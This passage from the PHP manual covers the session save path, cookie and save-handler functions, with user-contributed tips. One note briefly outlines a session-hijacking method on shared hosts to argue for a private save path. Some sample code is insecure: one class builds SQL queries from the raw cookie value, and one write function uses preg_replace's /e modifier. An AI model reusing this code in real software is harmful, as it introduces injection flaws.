session_save_path('/home/example.com/sessions');
ini_set('session.gc_probability', 1);
?>

Otherwise, old files in '/home/example.com/sessions' will never get removed!
Matthias H. (DE) 14-Mar-2010 03:40
Under PHP for Windows, you can improve the speed, when you store all session-files on ramdisk. A freeware-ramdisk you can download by http://www.techsnack.net/gavotte-ramdisk-free-virtual-hardisk .

A other alternativ is store you session-datas to apc-user-cache (see php-apc-extension).
TK 22-Feb-2010 05:29
After a search for the cause of a issue causing users to have to login twice, I've found a call to session_save_path() was the culprit.

What was happening was: the session save path was set, a session was opened, some variables were set and the session was closed.  This was resulting in an empty file in the specified session save path and of course no session data on the next page load.  Oddly, on the second attempt the data was saved as expected.

I found that removing the call to session_save_path() resolved the issue.  My final solution was to replace the call to session_save_path($path) with an equivalent call to ini_set('session.save_path', $path).
sampathperera at hotmail dot com - Sri Lanka 05-Feb-2008 11:25
Session on clustered web servers !

We had problem in PHP session handling with 2 web server cluster. Problem was one servers session data was not available in other server.

So I made a simple configuration in both server php.ini file. Changed session.save_path default value to shared folder on both servers (/mnt/session/).

It works for me. :)
gt at psgam dot de 25-Feb-2005 05:58
Note that you shouldn't use session_save_path() directly for performing file operations.
It returns the configuration option, not the directory.
As stated in /manual/en/ref.session.php#ini.session.save-path there can be a numeric argument separated with a semicolon in front of the "real" path.
I used the following code to get rid of it:
<?php
$sessionpath = session_save_path();
if (strpos ($sessionpath, ";") !== FALSE)
  $sessionpath = substr ($sessionpath, strpos ($sessionpath, ";")+1);
?>
Doesn't allow ; to appear in the directory names, but hey.

Regards,
Gero
designofgod at yahoo dot com 14-Feb-2005 06:12
sometime you need to change session.save_path because server system distributed more then one machine and you can not reach php.ini file example sourceforge.net. Then you can do that with .htaccess file which is kind of configuration file for Apache under one directory. anyway I added

php_value session.save_path /home/groups/f/f4/f4l/tmp/

now my sessions work very well I hope :)
webmaster at gardenchemicals dot co dot uk 16-Sep-2004 07:59
This is an absolute must if you have an important login on a shared server. Without it, other users of the server can do the following to bypass login:

* Visit login page, browse through cookies and grab the session id.
* Create a PHP script on their account that grabs and sets session variables for a given session id.
* Read and change any values for that session id (for example passwords or session keys), and therefore gain access to the protected area.

All users on web hosting should choose an dir below the HTTP directory struct, but within their user area to store the session files.
a9504778 at unet dot univie dot ac dot at 14-Jan-2001 03:09
dont forget: if you use session_save_path on the page, that registers a variable, you have also to use session_save_path on all the pages, where you access the session-variable. under win32 you can use the double \\ to specify eg "c:\\temp\\"
session_register
session_set_cookie_params
Session Functions


Set the session cookie parameters

session_save_path
session_set_save_handler
Session Functions
PHP Manual

session_set_cookie_params

(PHP 4, PHP 5)

session_set_cookie_params — Set the session cookie parameters

Description

void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]] )

Set cookie parameters defined in the php.ini file. The effect of this function only lasts for the duration of the script. Thus, you need to call session_set_cookie_params() for every request and before session_start() is called.

Parameters

lifetime

Lifetime of the session cookie, defined in seconds.

path

Path on the domain where the cookie will work. Use a single slash ('/') for all paths on the domain.

domain

Cookie domain, for example 'www.php.net'. To make cookies visible on all subdomains then the domain must be prefixed with a dot like '.php.net'.

secure

If TRUE cookie will only be sent over secure connections.

httponly

If set to TRUE then PHP will attempt to send the httponly flag when setting the session cookie.

Return Values

No value is returned.

Changelog

Version | Description
5.2.0 | The httponly parameter was added.
4.0.4 | The secure parameter was added.

See Also

  • session.cookie_lifetime
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session_get_cookie_params() - Get the session cookie parameters

User Contributed Notes

Danack dot Ackroyd at gmail dot com 30-Jun-2011 01:20
Setting the domain for cookies in session_set_cookie_params() only affects the domain used for the session cookie which is set by PHP.

All other cookies set by calling the function setcookie() either:
i) Use the domain set explicitly in the call to setcookie()
or
ii) Don't set the domain at all on the cookie and so the browser assumes it's for the current domain.

So to make all your cookies be available across all sub-domains of your site you need to do this:

<?php
$currentCookieParams = session_get_cookie_params();

$rootDomain = '.example.com';

session_set_cookie_params(
    $currentCookieParams["lifetime"],
    $currentCookieParams["path"],
    $rootDomain,
    $currentCookieParams["secure"],
    $currentCookieParams["httponly"]
);

session_name('mysessionname');
session_start();

setcookie($cookieName, $cookieValue, time() + 3600, '/', $rootDomain);
?>
php at rijkvanwel dot nl 29-Oct-2010 02:32
No matter how your server's gc is configured, a user will still experience an expired session when the cookie containing his session id is dropped.

The problem (that some people before me have already noticed) with this is, that the cookie's timestamp is not updated on every new request. So while the visitor's navigating through your site or application, his session file's timestamp is updated and your gc_lifetime is configured properly so the file's not deleted by the server, but meanwhile the clock is ticking away on his locally stored session cookie. When it reaches the time limit: boom, session gone. (Actually, the session is still there on the server, the browser just stops sending the id with the requests, so the server can't identify the visitor and starts a new session.)

One solution for this is to regenerate the cookie with each request (either by manually overwriting the cookie with setcookie(), or by regenerating the session id with session_regenerate_id()). However, this is needless overhead.

If it works for your application, a better and much simpler solution is to just set the session cookie's lifetime to 0 (which will make it live until the browser is closed):

<?php
session_set_cookie_params(0);
session_start();
?>

You will only have to do this the first time your session is started (as this is the only time the cookie is sent to the client).
final dot wharf at gmail dot com 28-Oct-2010 07:42
As PHP's Session Control does not handle session lifetimes correctly when using session_set_cookie_params(), we need to do something in order to change the session expiry time every time the user visits our site. So, here's the problem.

<?php
  $lifetime=600;
  session_set_cookie_params($lifetime);
  session_start();
?>

This code doesn't change the lifetime of the session when the user gets back at our site or refreshes the page. The session WILL expire after $lifetime seconds, no matter how many times the user requests the page. So we just overwrite the session cookie as follows:

<?php
  $lifetime=600;
  session_start();
  setcookie(session_name(),session_id(),time()+$lifetime);
?>

And now we have the same session cookie with the lifetime set to the proper value.
digitalmagnets at gmail dot com 31-Mar-2010 01:36
It appears that if you are setting a session cookie on https://subdomain123.example.com for .example.com that the default of the secure cookie is not false but true.

So your cookie won't work on http://subdomainxyz.example.com unless you set the secure option to false.
jan at dewal dot net 19-Mar-2010 02:42
The information above about this function that it can only be used BEFORE session_start depends on how you use it. Because its also useful AFTER a session has started as follows:

Example you wand to change an already set value of the session cookie expire time:

<?php

 // Here we start as usual
session_set_cookie_params('3600'); // 1 hour
session_start();

// More code...

// Now we found in some database that the user whishes
// the cookie to expire after for example 10 minutes
// we can change it instantly !

session_set_cookie_params('600'); // 10 minutes.
session_regenerate_id(true);

// This will delete old cookie and adopt new expire settings and the
// old cookie variables in a new cookie

?>

Please note i only explained the browser (client) side changes of session cookie's expire time.
quintellarosa at yahoo dot com dot br 25-Feb-2010 06:27
Thanks to dan at vespernet dot co dot uk and MaxTheDragon at NOSPAMhome dot nl, I've started solving some issues here.

I've found that using:

<?php

  session_name($name);
  setcookie($name, $_COOKIE[$name], time() + $lifetime, $path, $domain, $secure, $httponly);
  session_start();

?>

works fine, while:

<?php

  session_name($name);
  session_set_cookie_params($lifetime, $path, $domain, $secure, $httponly);
  session_start();

?>

doesn't seem to work properly, like not updating the lifetime properly.

For anyone interested. Any comments would be appreciated.
Miki 04-Dec-2009 10:13
REMEMBER, that if you have a multi-subdomain site, you must put the following to enable a session id on the whole website:

<?php
session_set_cookie_params(0, '/', '.example.com');
session_start();
?>

Otherwise, you'll have 2 diffrent sessions on e.g. news.example.com and download.example.com
seth36 at gmail dot com 28-Jul-2009 01:13
I've found session_set_cookie_params to be ineffective at changing the session lifetime, to change the session lifetime I do the following:

<?php

$Lifetime = 3600;
$Seperator = (strstr(strtoupper(substr(PHP_OS, 0, 3)), "WIN")) ? "\\" : "/";
$DirectoryPath = dirname(__FILE__) . "{$Seperator}SessionData";
is_dir($DirectoryPath) or mkdir($DirectoryPath, 0777);

if (ini_get("session.use_trans_sid") == true) {
    ini_set("url_rewriter.tags", "");
    ini_set("session.use_trans_sid", false);

}

ini_set("session.gc_maxlifetime", $Lifetime);
ini_set("session.gc_divisor", "1");
ini_set("session.gc_probability", "1");
ini_set("session.cookie_lifetime", "0");
ini_set("session.save_path", $DirectoryPath);
session_start();

?>

I switched to this after having many failed attempts at having a session remain active for longer than the default 24 minutes, the problem it seems is what many suggest that appears to be wrong - Setting the cookie lifetime to be the same as session.gc_maxlifetime, although the expiry of the cookie is set, it isn't updated when the user remains active in the session, so even if the session is actively being used, once the cookie life runs out, the sessions gets invalidated, using the above seems to work for me.
Ashus 18-Nov-2008 07:38
Cross-domain Cookies do work in all browsers (path '/' server '.example.com'), except the case you try it in IE6/7 and the server name is retreived from :etc/hosts: file, in that case the cookie won't be even saved.
Anonymous 14-Aug-2008 11:42
In Response to RC
>23-Apr-2008 04:45
>For anyone looking for which browsers support the HTTPOnly >flag, per my research:
>
>IE 6 SP 1 and higher.
>Firefox 3 and higher.
>Opera 9.50 and higher.

Firefox 2.0 also supports them, but only since version 2.0.0.5.

http://bugzilla.mozilla.org/show_bug.cgi?id=178993
brandan, bildungsroman.org 27-May-2008 08:55
i found it somewhat difficult to work with sessions due to the documentation not really denoting the necessity for the session name to be set via session_name() in order for session_set_cookie_params() to be of any use.  i found no reference to session_name() in this article, and my session functions would have been a disastrous mess were it not for a friend familiar with session.

so, in essence, for anybody wondering about where to start: declare a session name before using session_set_cookie_params(), otherwise you might agitate php to the point of committing some atrocity against your webserver.
RC 23-Apr-2008 07:45
For anyone looking for which browsers support the HTTPOnly flag, per my research:

IE 6 SP 1 and higher.
Firefox 3 and higher.
Opera 9.50 and higher.

As of Safari 3.1.1 (April 2008), Safari did not yet support this flag.

This cookie flag was developed by Microsoft and is slowly making its way into other browsers: http://msdn2.microsoft.com/en-us/library/ms533046.aspx
eddie at roosenmaallen dot com 15-Mar-2008 06:49
Further to "info at xyzsite dot ru" and William Leslie, Safari on OS X also doesn't honour cookies with an underscore in the subdomain.

The workaround I've found is to specify the parent domain as the cookie domain -- instead of "bad_name.example.com", set the path to ".example.com"; it's suboptimal, but gets the job done.
William Leslie 08-Feb-2008 09:32
"Info at xyzsite dot ru" writes that Internet Explorer does not correctly handle cookies whose domain contains an underscore character.

However, There's a good reason for this apparently faulty behavior: the underscore character is forbidden in DNS names.  RFC 3696 says:

"The labels ... that make up a domain name must consist of only the ASCII alphabetic and numeric characters, plus the hyphen.  No other symbols or punctuation characters are permitted, nor is blank space."

If the underscore works in Mozilla or other browsers, it's only because they are being lenient in the validation of domain names.
info at xyzsite dot ru 20-Dec-2007 08:27
Just one more bad situation - cookies in Internet Explorer do not work with '_' in domain name. FF and Opera are O.K. So if your hostname is like test_host.example.com, IE cookies will not function correctly/
dan at vespernet dot co dot uk 02-Nov-2007 11:38
The below note is an excellent example of how to 'reset' the session expiration time upon a page refresh.

However, take care to compensate for when the session expires and doesn't renew itself (a bug I believe). If the below example is run every time a script is executed, it will give an 'Undefined index <session name> error' after the session fails to renew. Precede it with and if isset() condition.

<?php
private function startSession($time = 3600, $ses = 'MYSES') {
    session_set_cookie_params($time);
    session_name($ses);
    session_start();

    // Reset the expiration time upon page load
    if (isset($_COOKIE[$ses]))
      setcookie($ses, $_COOKIE[$ses], time() + $time, "/");
}
?>

The above example states that a session will last an hour without a page refresh until it is scrapped. Upon a page refresh, the expiration time is reset back to one hour again. If you wish to give users the option of 'staying logged in forever', just feed startSession a value of '99999999', which should last about 3 years.
MaxTheDragon at NOSPAMhome dot nl 10-Sep-2007 01:46
This article states that one must define the lifetime of the cookie using session_set_cookie_params(), before calling session_start(). This is correct.

However, suppose you would need to change the session cookie lifetime, during the session. You would have to delete the session in order to pass the correct lifetime. If however, the session contains important data, you might not want to delete the session.

This seems to be a problem, since the session already exists.

The following code:

<?php
setcookie(session_name(), $_COOKIE[session_name()], time()+10000, "/");
?>

allows you to change the cookie lifetime, during the session, and without the need to delete the session. Basically it grabs the existing cookie, and just updates the lifetime, leaving the data intact.

<?php
setcookie(session_name(), $_COOKIE[session_name()], 0, "/");
?>

Similarly, the above code allows you to turn the existing session, into one that is destroyed, when the browser screen closes.

Please note that this is not a replacement of session_set_cookie_params! You must still call that function before the session start to set a lifetime for the cookie. If somewhere after the session_start(), you need to change the lifetime, use the code supplied above, and also make sure that the new lifetime gets included in the next calls of
session_set_cookie_params(). This ensures that the cookie will work properly with the new lifetime, even after page browsing/refreshes.

I have tested this, and it seems to work properly.
jordi at jcanals dot net 15-Nov-2004 05:39
Something that has taken me some time to debug: session_set_cookie_params() does not work when the domain param is just a one level domain, like it was a TLD.

I have a site in an intranet and our internal domain is .local, so trying to set the cookie session to the .local domain does not work:

session_set_cookie_params(0, '/', '.local'); // Does not work

In all test I've done, setting the domain only works for SLDs and above:

session_set_cookie_params(0 , '/', '.sld.local'); Does work

This is nothing to do with PHP but the http protocol, witch does not permit setting cookies for TLDs for obvious security reasons.
shrockc at inhsNO dot SPAMorg 18-Jun-2002 09:19
when setting the path that the cookie is valid for, always remember to have that trailing '/'.

CORRECT:
session_set_cookie_params (0, '/yourpath/');

INCORRECT:
session_set_cookie_params (0, '/yourpath');

no comment on how long it took me to realize that this was the cause of my authentication/session problems...
gavin_spam at skypaint dot com 26-Feb-2002 02:58
The first argument to session_set_cookie_params is the number of seconds in the future (based on the server's current time) that the session will expire.  So if you want your sessions to last 100 days:

$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime);

I was using time()+$expireTime, which is WRONG (a lot of the session_set_cookie_params() examples I found get this wrong, but probably don't care because they are just doing "infinite" sessions).
php at mike2k dot com 09-May-2001 02:16
[Editor's Note:

Rasmus' Solution from the PHP-General list:

Just use a session cookie (by not providing an expiry time) and add the
server's expiry timestamp to the value of the cookie.  Then when you get
that cookie sent to you, check it against your server's time and make the
decision on whether to accept the cookie or not based on that.

That way you are immune from people not having their system clocks set
right.

-Rasmus

--zak@php.net]

A couple things I noticed when using this. I think it only works if you set the session_set_cookie_params() function BEFORE the session_start() function.

Also, when you set the "lifetime" on the cookie, it takes the seconds offset from the SERVER. it sends the cookie encoded to timeout at the SERVER time. So if your server is +2 minutes ahead of the client, and you set the cookie to timeout after 30 seconds, the client actually has 2 minutes and 30 seconds before the cookie times out. I don't know if there's any way that this can be patched in future versions, and the only alternative I think is setting cookies in javascript, which is hardly the point when using all these specific session functions.
session_save_path
session_set_save_handler
Session Functions


Sets user-level session storage functions

session_set_cookie_params
session_start
Session Functions
PHP Manual

session_set_save_handler

(PHP 4, PHP 5)

session_set_save_handler — Sets user-level session storage functions

Description

bool session_set_save_handler ( callback $open , callback $close , callback $read , callback $write , callback $destroy , callback $gc )
bool session_set_save_handler ( SessionHandler $sessionhandler [, bool $register_shutdown = true ] )

session_set_save_handler() sets the user-level session storage functions which are used for storing and retrieving data associated with a session. This is most useful when a storage method other than those supplied by PHP sessions is preferred. i.e. Storing the session data in a local database.

Parameters

This function has two prototypes.

sessionhandler

An instance of SessionHandler to register as the session handler

register_shutdown

Register session_register_shutdown() as a register_shutdown_function() function.

or
open

Open function, this works like a constructor in classes and is executed when the session is being opened. The open function expects two parameters, where the first is the save path and the second is the session name.

close

Close function, this works like a destructor in classes and is executed when the session operation is done.

read

Read function must return string value always to make save handler work as expected. Return empty string if there is no data to read. Return values from other handlers are converted to boolean expression. TRUE for success, FALSE for failure.

write

Write function that is called when session data is to be saved. This function expects two parameters: an identifier and the data associated with it.

Note:

The "write" handler is not executed until after the output stream is closed. Thus, output from debugging statements in the "write" handler will never be seen in the browser. If debugging output is necessary, it is suggested that the debug output be written to a file instead.

destroy

The destroy handler, this is executed when a session is destroyed with session_destroy() and takes the session id as its only parameter.

gc

The garbage collector, this is executed when the session garbage collector is executed and takes the max session lifetime as its only parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 session_set_save_handler() example

The following example provides file based session storage similar to the PHP sessions default save handler files. This example could easily be extended to cover database storage using your favorite PHP supported database engine.

<?php
function open($save_path, $session_name)
{
  global $sess_save_path;

  $sess_save_path = $save_path;
  return(true);
}

function close()
{
  return(true);
}

function read($id)
{
  global $sess_save_path;

  $sess_file = "$sess_save_path/sess_$id";
  return (string) @file_get_contents($sess_file);
}

function write($id, $sess_data)
{
  global $sess_save_path;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "w")) {
    $return = fwrite($fp, $sess_data);
    fclose($fp);
    return $return;
  } else {
    return(false);
  }

}

function destroy($id)
{
  global $sess_save_path;

  $sess_file = "$sess_save_path/sess_$id";
  return(@unlink($sess_file));
}

function gc($maxlifetime)
{
  global $sess_save_path;

  foreach (glob("$sess_save_path/sess_*") as $filename) {
    if (filemtime($filename) + $maxlifetime < time()) {
      @unlink($filename);
    }
  }
  return true;
}

session_set_save_handler("open", "close", "read", "write", "destroy", "gc");

session_start();

// proceed to use sessions normally

?>

Notes

Warning

As of PHP 5.0.5 the write and close handlers are called after object destruction and therefore cannot use objects or throw exceptions. The object destructors can however use sessions.

It is possible to call session_write_close() from the destructor to solve this chicken and egg problem.

Warning

Current working directory is changed with some SAPIs if session is closed in the script termination. It is possible to close the session earlier with session_write_close().

Changelog

Version | Description
5.4.0 | Added the possibility of using SessionHandler as a session handler.

See Also

  • The session.save_handler configuration directive

User Contributed Notes

balazsbotond at gmail dot com 13-Nov-2011 04:36
It is important to note that autoload handlers don't work inside the read, write, etc. functions, so you have to explicitly require_once all classes you use there.
pavelc at users dot sourceforge dot net 11-Jul-2011 04:21
I write a class that unites whole handler functionality. It's not even needed to save instances of this class in variables. Just add a row:
<?php
new SessionSaveHandler();
?>
and the handler will rule the sessions ;-)
<?php

class SessionSaveHandler {
    protected $savePath;
    protected $sessionName;

    public function __construct() {
        session_set_save_handler(
            array($this, "open"),
            array($this, "close"),
            array($this, "read"),
            array($this, "write"),
            array($this, "destroy"),
            array($this, "gc")
        );
    }

    public function open($savePath, $sessionName) {
        $this->savePath = $savePath;
        $this->sessionName = $sessionName;
        return true;
    }

    public function close() {
        // your code if any
        return true;
    }

    public function read($id) {
        // your code
    }

    public function write($id, $data) {
        // your code
    }

    public function destroy($id) {
        // your code
    }

    public function gc($maxlifetime) {
        // your code
    }
}

new SessionSaveHandler();

?>
lukas.starecek 23-May-2011 05:12
I have solved problem with session handler, which needs some other objects (for example DB access object), with register_shutdown_function. Just calling

<?php

register_shutdown_function('session_write_close');

?>

solved my problem. Shutdown functions are called before object destructors.

If you use class for session handling (my prefered way), you can call register_shutdown_function in constructor and you must not mess your code in another place.

Example:

<?php

class SessionHandler {

    protected $_db;

    public function __construct(PDO $db) {
        $this->_db = $db;
        register_shutdown_function('session_write_close');
    }

    function open($save_path, $session_name) {
    }

    function close() {
    }

    function read($id) {
    }

    function write($id, $sess_data) {
    }

    function destroy($id) {
    }

    function gc($maxlifetime) {
    }
}

?>
frank at interactinet dot com 22-Mar-2011 01:37
I had trouble with committing session data.
To "commit and continue" without closing your session, put this at the top of your "write" method:

<?php

$id = session_id();
session_write_close();
session_id($id);
session_start();

?>

Note that ANY time php generates a new session id, it is not automatically updated in a database. This can be helpful:

<?php

public function resetSessionId()
{
    $old = session_id();
    session_regenerate_id();
    $new = session_id();
    SessionHandler::regenerate_id($old,$new);
}

public function regenerate_id($old,$new)
{
    $db = mysqli->connect(...);

    $db->query('UPDATE sessions SET session_id = \''.$db->escape_string($new).'\'
    WHERE session_id = \''.$db->escape_string($old).'\'');
}
?>
dummynick at gmail dot com 24-May-2010 08:37
I was getting Fatal error: Exception thrown without a stack frame and it took days to figure out the reason. I am using memcache to store sessions and in my custom class I use Memcache class in write method.

I put the code in the write method inside try-catch block and it solved my problem.
newton at tricko dot com dot br 19-Feb-2010 08:46
I have been done with session problems creating a new and my own session system.

This is very simple, bellow the class file, a good pratice is include these file as your first line:

<?php
  class SessionDB {
    private $data=null;
    private $session_id=null;
    private $minutes_to_expire=3600; // TIME TO MAINTAIN DATA ON DB

    public function __construct(){
      global $SESSION;

      if (isset($_COOKIE['session_id'])){
        $this->session_id = $_COOKIE['session_id'];
      } else {

        $this->session_id = md5(microtime().rand(1,9999999999999999999999999)); // GENERATE A RANDOM ID

        setcookie('session_id',$this->session_id);

        $sql = "INSERT INTO `tb_session_db` (`session_id`, `updated_on`) VALUES ('{$this->session_id}', NOW())";
        mysql_query($sql);
      }

      $sql = "SELECT `value` FROM `tb_session_db` WHERE `session_id`='{$this->session_id}'";
      $query = mysql_query($sql);

      $this->data = unserialize(mysql_result($query, 0, 'value'));
      $SESSION = $this->data;
    }

    private function expire(){
      $date_to_delete = date("Y-m-d H:i:s", time()-60*$this->minutes_to_expire);
      $sql = "DELETE FROM `tb_session_db` WHERE `update_on` <= '$date_to_delete'";
      mysql_query($sql);
    }

    public function __destruct(){
      global $SESSION;

      $this->data = serialize($SESSION);

      $sql = "UPDATE `tb_session_db` SET `value`='{$this->data}', `updated_on`=NOW() WHERE `session_id`='{$this->session_id}'";
      mysql_query($sql);

      $this->expire();
    }
  }

/*
TABLE STRUCTURE
  CREATE TABLE IF NOT EXISTS `tb_session_db` (
    `session_id` varchar(32) NOT NULL,
    `value` blob,
    `updated_on` datetime DEFAULT NULL,
    PRIMARY KEY (`session_id`)
  ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
*/
?>

With this file included, connected to MySQL database who has the table `tb_session_db` I can easy do that into my config file:

<?php
  require_once('session_db.php');

    define('MYSQL_HOST','mysql.example.com');
    define('MYSQL_USER','.......');
    define('MYSQL_PASS','.......');
    define('MYSQL_BASE','.......');

    mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS) or die('Cannot connect');
    mysql_select_db(MYSQL_BASE) or die('Cannot select DB');
    mysql_set_charset('utf8_general_ci');

  $SESSION = null;
  global $SESSION;
  $session_db = new SessionDB();
?>

To use $SESSION on a function/class method, you must call:
global $SESSION

For who will not work with this over classes or functions, it is a very simple/fast way to work!
bart2yk at yahoo dot com 22-Jan-2010 01:57
You can call the session_write in db object destructor to be shore that you still have a connection to mysql and the session is write.
joel the usual at sign then purerave.com 04-Dec-2009 10:53
When storing sessions in a DB, it's usually beneficial to use an existing custom DB object, but this creates problems with the latest version of PHP 5.3.1. This used to work fine on PHP 5.2.x (Linux and Windows).

The problem now is that session_write_close() is not automatically called when execution ends, but rather after all the objects have been destructed, including the DB object!

There are two ways around this, either manually calling session_write_close() at the end of your script(s), or not using the DB object.

I'm sure this is the intended behavior from the beginning.
skds1433 at hotmail dot com 02-Aug-2009 03:21
I pulled a really stupid move. If you are trying to debug your garbage collector, make sure you call the following >>> BEFORE <<< "session_start":

<?php
ini_set('session.gc_probability', 100);
ini_set('session.gc_divisor', 100);
?>

I was sure it was a bug in PHP, but turned out (like 99% of the time) to be me own fault.
foddex at foddex dot net 08-Jun-2009 01:01
A quick note for people having problems storing binary session data. Using prepared statements solves all your quote-related issues! Start reading here http://php.net/manual/en/mysqli-stmt.prepare.php for more information!
yangqingrong at gmail dot com 21-Apr-2009 09:44
session_set_save_handler is used before session_start.if your session is setted as auto start. it will return FALSE value.so you need add session_write_close() before session_set_save_handler to cancel the session's auto start.it  likes this:

<?php
/*
qq:290359552
*/
session_write_close(); //cancel the session's auto start,important

function open()
{
   ...
}
....
session_set_save_handler( ... );
session_start();
?>
harald at hholzer at 13-Mar-2009 10:40
after spending 8 hours to find out whats going on..

just for the records, because php.net ignore the real world out there:

debian 5 installs by default the php-suhosin module, which changes the behavior of session_set_save_handler read/write function.

on calling the session write function the session data will be encrypted, and the returning string from the read function are decrypted and verified.

the encrypted data is no more compatible with session_encode/session_decode.

and breaks by default, subdomain handling and multiple host setups where different document roots are used.

for futher information look at:
http://www.hardened-php.net/suhosin/configuration.html

session sample data (debian 4):
test|s:3:"sdf";

session sample data (debian 5, with php-suhosin):
3GdlPEGr2kYgRFDs-pUSoKomZ4fN7r5BM5oKOCMsWNc...

i thing the suhosin patch should report a warning in case of invalid session data, to get a clue whats going wrong.
e dot sand at elisand dot com 04-Mar-2009 11:42
The "binary" data that is in the session data appears to surround class/object names, and if you pass your session data through a function to sanitize it for SQL injection, you may indeed run in to problems.

For example, using the PDO::quote() function to prepare the data for injection (in my case for SQLite3), it was stopping short as soon as it encountered the first bit of binary data, causing my session information to be corrupted.

This change *must* have happened somewhere in the 5.2 series, because I just started encountering this problem recently on a code base that had been tested & working on earlier versions of PHP 5.2.

This may in fact be a bug - I have not yet checked... but beware, and perhaps using base64 to encode/decode your session data is a good thing to do just to be sure (though you are now left unable to visually inspect serialized session information at the storage level which is a rather big problem for on-the-fly debugging of sessions).
thomas at koudela dot net 18-Feb-2009 06:08
There are cases when calling session_write_close() from a destructor doesn't work. [E.g. order of destruction works bad for you and dependencies aren't on your side.] In all cases I stumble on...

register_shutdown_function('session_write_close');

...just works fine.
patrick at eternalspace dot com 12-Dec-2008 07:09
After about 8 hours of banging my skull on abstract art, it turns out that custom Write function use a blackbox encoding process that isn't represented here!  (Perhaps in session_encode it is?)

When a custom write() method gets the $session_hash and the $data of the session, the $data has binary data in it!  Therefore, stripslashes() or mysql_real_escape_string() will NOT properly prepare a collapsed $_SESSION string for database storage!

Instead, when committing write() $data to a database, it turns out that base64_encode() *WILL* catch all non-character information in the collapsed $_SESSION string, making it's result database-friendly!  (And more filling!)

Don't forget to add base64_decode() during the custom read() method!
e dot sand at elisand dot com 26-Nov-2008 05:07
Here's a few useful tips when working with custom session handlers (and sessions in general - with PHP 5.2.x)...

1) Setting session_set_save_handler() automatically sets the ini setting session.save_handler to 'user' for you - no need to do it yourself.

2) You may in fact not need to set up a __destruct() or use register_shutdown_function() to write your session data if using classes/objects.  My testing with 5.2.x shows that my session data is safely saved without the need of either.  I am unsure if PHP internals have changed to "fix" this and documents just aren't updated with that info, or if perhaps I haven't yet hit a scenario that would trigger this problem.

3) It's stated a few places - but just to re-iterate: you cannot serialize internal PHP objects.  This means if you have a class that extends an internal class (for example, a class that extends PDO for db functions), you will not be able to save an instance of your class in a session variable.  Worst off, you will get a very vague error message about it, saying an unknown exception was thrown and it won't know from where.  The solution is for any class that has to be serialized, don't extend internal classes, instead have them set up an instance of that object internally via __construct() or something, and then use __sleep() and __wakeup() hooks to export/reconfigure your class variables/resources.

4) It appears that since PHP 4.x or somewhere, the seralization of data that takes place for sessions changed.  It used to export human readable text much like serialize() does, however it appears that now the session data is further encoded - quite possibly to hinder session data tampering on the local filesystem.  Just mentioning this if you used to view session data to see what was being saved.
anonymous at anonymous dot org 06-Oct-2008 12:11
if you simply append the information from session variables every time you'll have many multiples for variables each time they are changed. a simple way to do this is explode the data twice to seperate the variable name from the other relevant information and foreach() check against the stored set. here is a little bit of a mess i wrote to do it.
assuming stored session variables in both database and passed through function:

<?php
$buffer = array();
$buffer = explode('|',$sessiondata);
$buf1 = array();
$buf2 = array();
$finalbuff = '';
foreach($buffer as $i){
    $i = explode(';',$i);
    foreach($i as $b){
        array_push($buf1,$b);
    }
}
$buffer = explode('|',$result['data']);
foreach($buffer as $i){ $i = explode(';',$i); foreach($i as $b){ array_push($buf2,$b);}}
$z = 0;
$x = 0;
while($buf2[$z]){
    while($buf1[$x]){
        if($buf2[$z] == $buf1[$x]){
            $buf2[($z+1)] = $buf1[($x+1)];
        }
        $x+=2;
    }
    $z+=2;
}
foreach($buf2 as $i){ $finalbuff .= $i; }
?>

$sessiondata is the variable passed through the function and $result['data'] is the data stored in an sql database.
james at dunmore dot me dot uk 13-Aug-2008 06:31
If your using database session handler and your database is in UTF8, but you happen to have a script running in IS0-8859 that tries to put symbols such as £ signs into the database - then the session will corrupt and data will go missing.

You can either - make sure you never put special characters into the session, or - more helpful, do this in your 'write' function

<?php

public static function write( $key, $val )
        {
            $val = utf8_encode( $val );

            $val = preg_replace( '!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $val );

               //......

?>

probably an overhead on this, but less overhead than loosing data.

You could also use WDDX for storing sessions I suppose
bob at nospam dot com 28-Jul-2008 05:50
If using mysqli in procedural style you may expect the mysqli handle to be valid in the write callback. It is not the case, the handle in procedural style is a object that will be destroy unlink the plain mysql interface handle. Just register a shutdown function after set save handler like this:

session_set_save_handler('_session_open', '_session_close', '_session_read', '_session_write', '_session_destroy', '_session_gc');
register_shutdown_function('session_write_close');

Since PHP 4.1, it more of a PRE-Shutdown and it fix the issue for me.
tomas at slax dot org 08-Jul-2008 07:00
Regarding the SAPIs: The warning mentioned in function's description (that the Current working directory is changed with some SAPIs) is very important.

It means that if your callback 'write' function needs to write to a file in current directory, it will not find it. You have to use absolute path and not rely upon the current working directory.

I thought this warning applies only to some strange environments like Windows, but it happens exactly on Linux + Apache 2.2 + PHP 5.
anddriga at gmail dot com 09-May-2008 10:44
Some PHP code for memcached session handler.

<?php
class SessionHadler
{
    private static $lifetime = 0;

    public static function open()
    {
        self::$lifetime = ini_get('session.gc_maxlifetime');

        return true;
    }

    public static function read($id)
    {
        return memcached::get("sessions/{$id}");
    }

    public static function write($id, $data)
    {
        return memcached::set("sessions/{$id}", $data, self::$lifetime);
    }

    public static function destroy($id)
    {
        return memcached::delete("sessions/{$id}");
    }

    private function __construct(){}
    public static function gc(){ return true; }
    public static function close(){    return true; }
    public function __destruct()
    {
        session_write_close();
    }
}
?>
james at enginecreative dot co dot uk 06-Apr-2008 03:22
With regards to db session handling:

Remember if you use the REPLACE INTO method to have your session key as the primary key otherwise you will end up with duplicate records in your table.

http://dev.mysql.com/doc/refman/5.0/en/replace.html
james dot ellis at gmail dot com 04-Apr-2008 03:39
When writing your own session handler, particularly database session handlers, play close attention to garbage cleanup and how it could affect server load.

To pick a round number example:

If you have 1000 requests per minute on session enabled pages, everyone needs a session started but the session garbage cleanup does not need to run every request. Doing so would cause unrequired queries on the database server.

In this example, setting your probability/divisor to 1/1000 would be sufficient to clean up old sessions at a minimum once a minute. If you don't need that kind of granularity, increase the gc divisor.

Finding the tradeoff between clearing up old sessions and server load is the important aspect here.
maria at junkies dot jp 09-Dec-2007 06:51
blow example and ta summary of these comments.
and using the simple native functions of mysql.

<?php
